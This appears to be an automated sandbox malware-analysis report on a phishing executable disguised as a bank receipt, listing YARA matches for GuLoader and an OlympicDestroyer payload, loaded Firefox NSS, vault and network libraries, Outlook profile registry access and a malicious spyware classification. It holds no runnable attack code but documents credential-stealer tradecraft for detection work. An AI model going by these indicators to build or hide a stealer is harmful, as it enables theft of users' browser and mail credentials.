Source: api-ms-win-core-util-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found

Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs Dekont#400577_89008_96634.exe
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3291563671.0000000038C44000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs Dekont#400577_89008_96634.exe

Source: Dekont#400577_89008_96634.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 12.3.Dekont#400577_89008_96634.exe.383d8abf.1.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 12.3.Dekont#400577_89008_96634.exe.383d4355.2.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 12.3.Dekont#400577_89008_96634.exe.383dd227.3.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@3/60@3/3

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

0_2_004034C5

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Code function: 0_2_00404858 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404858

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Code function: 0_2_004021A2 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_004021A2

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

File created: C:\Users\user\udstrmningsdysernes

Jump to behavior

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E-69414907-A7A74107-9B48779A-272012F47

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

File created: C:\Users\user\AppData\Local\Temp\nsiE8C2.tmp

Jump to behavior

Source: Dekont#400577_89008_96634.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s;
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);

Source: Dekont#400577_89008_96634.exe

ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

File read: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process created: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Process created: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe "C:\Users\user\Desktop\Dekont#400577_89008_96634.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: Dekont#400577_89008_96634.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3291530613.0000000000090000.00000004.00001000.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3291563671.0000000038C44000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3291530613.0000000000090000.00000004.00001000.00020000.00000000.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdbGCTL source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

